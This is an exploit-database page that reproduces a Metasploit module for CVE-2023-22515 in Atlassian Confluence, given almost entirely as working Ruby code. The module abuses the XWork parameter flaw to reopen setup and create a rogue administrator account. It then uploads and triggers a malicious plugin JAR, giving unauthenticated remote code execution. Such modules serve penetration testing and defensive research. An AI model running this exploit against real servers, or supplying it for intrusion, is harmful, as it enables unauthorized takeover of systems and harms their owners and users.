Atlassian Confluence Unauthenticated Remote Code Execution

2023.10.20
Credit: sfewer-r7
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Retry include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for Java objects to be modified at run time. The exploit will create a new administrator user and upload a malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # MSF Exploit & Rapid7 Analysis ], 'References' => [ ['CVE', '2023-22515'], ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'], ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'], ], 'DisclosureDate' => '2023-10-04', 'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default. 'Targets' => [ [ 'Automatic', { 'Platform' => 'java', 'Arch' => [ARCH_JAVA] } ], ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself. 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ # By default Confluence listens for HTTP requests on TCP port 8090. Opt::RPORT(8090), # Confluence may have a non default base path, allow user to configure that here. OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']), # The endpoint we target to trigger the vulnerability. OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']), # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait. OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30]) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']) ) return CheckCode::Unknown('Connection failed') unless res # Ensure target is a Confluence server by identifying an expected HTTP header. return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time' if res.code == 200 && res.body # Pull out the version string from one of three known locations within the HTML. m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i) if m.nil? m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i) if m.nil? m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i) end end unless m.nil? version = Rex::Version.new(m[1]) ranges = [ ['8.0.0', '8.3.2'], ['8.4.0', '8.4.2'], ['8.5.0', '8.5.1'] ] # If we have a Confluence server within the given version ranges, it appears vulnerable. ranges.each do |min, max| if version.between?(Rex::Version.new(min), Rex::Version.new(max)) return Exploit::CheckCode::Appears("Atlassian Confluence #{version}") end end # By here we know we have a confluence server, but the version found indicates it is safe. return Exploit::CheckCode::Safe("Atlassian Confluence #{version}") end end # By here we have identified a Confluence server, but could not get the version number to determine if it is # vulnerable of not. CheckCode::Detected end def exploit target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']) print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}") # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints. res = send_request_cgi( 'method' => 'POST', 'uri' => target_endpoint, 'vars_post' => { 'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false' } ) unless res&.code == 302 || res&.code == 200 fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}") end print_status('Creating a new administrator user account...') # usernames must be lowercase admin_username = rand_text_alpha_lower(8) admin_password = rand_text_alphanumeric(8) # 2. Create a new administrator user account. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'), 'headers' => { 'X-Atlassian-Token' => 'no-check' }, 'vars_post' => { 'username' => admin_username, 'fullName' => rand_text_alphanumeric(8), # The email address does not need to be a valid address, but it must contain an @ character. 'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}", 'password' => admin_password, 'confirm' => admin_password, 'setup-next-button' => 'Next' } ) unless res&.code == 302 || res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action') end print_status("Created #{admin_username}:#{admin_password}") # 3. Force the setup to become completed, to allow normal Confluence operations to continue. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'), 'headers' => { 'X-Atlassian-Token' => 'no-check' } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action') end print_status('Adding a malicious plugin...') # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token. res = send_request_cgi( 'method' => 'GET', # Note, we concatenate '/' as this is required by the endpoint. 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/', 'headers' => { 'Authorization' => basic_auth(admin_username, admin_password), 'Accept' => '*/*' }, 'vars_get' => { 'os_authType' => 'basic' } ) unless res&.code == 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/') end upm_token = res.headers['upm-token'] unless upm_token fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/') end begin payload_endpoint = rand_text_alphanumeric(8) plugin_key = rand_text_alpha(8) # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub). jar = payload.encoded_jar(random: true) jar.add_file( 'atlassian-plugin.xml', %( <atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2"> <plugin-info> <description>#{rand_text_alphanumeric(8)}</description> <version>#{rand(1024)}.#{rand(1024)}</version> </plugin-info> <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet"> <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern> </servlet> </atlassian-plugin>) ) jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')) message = Rex::MIME::Message.new message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"") # 6. Upload the malicious plugin. res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/', 'ctype' => 'multipart/form-data; boundary=' + message.bound, 'headers' => { 'Authorization' => basic_auth(admin_username, admin_password), 'Accept' => '*/*' }, 'vars_get' => { 'token' => upm_token }, 'data' => message.to_s ) unless res&.code == 202 fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/') end unless res.body =~ %r{<textarea>(.+)</textarea>} fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/') end begin plugin_json = JSON.parse(::Regexp.last_match(1)) rescue JSON::ParserError fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/') end # We receive a JSON object like this: # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea> links_alternate = plugin_json&.dig('links', 'alternate') if links_alternate.nil? fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/') end print_status('Waiting for plugin to be installed...') # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed. plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, links_alternate) ) # We receive a JSON result to indicate if the plugin is finished installing. # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188} if res&.code == 200 begin res_json = JSON.parse(res.body) next res_json['done'] rescue JSON::ParserError next false end end false end unless plugin_ready fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.') end print_status('Triggering payload...') # 8. Trigger the payload by performing a request to the malicious servlet endpoint. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint) ) unless res&.code == 200 fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") end ensure print_status('Deleting plugin...') # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as # Confluence doesnt allow a user to delete themself. res = send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"), 'headers' => { 'Authorization' => basic_auth(admin_username, admin_password), 'Connection' => 'close' } ) unless res&.code == 204 print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}") end end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top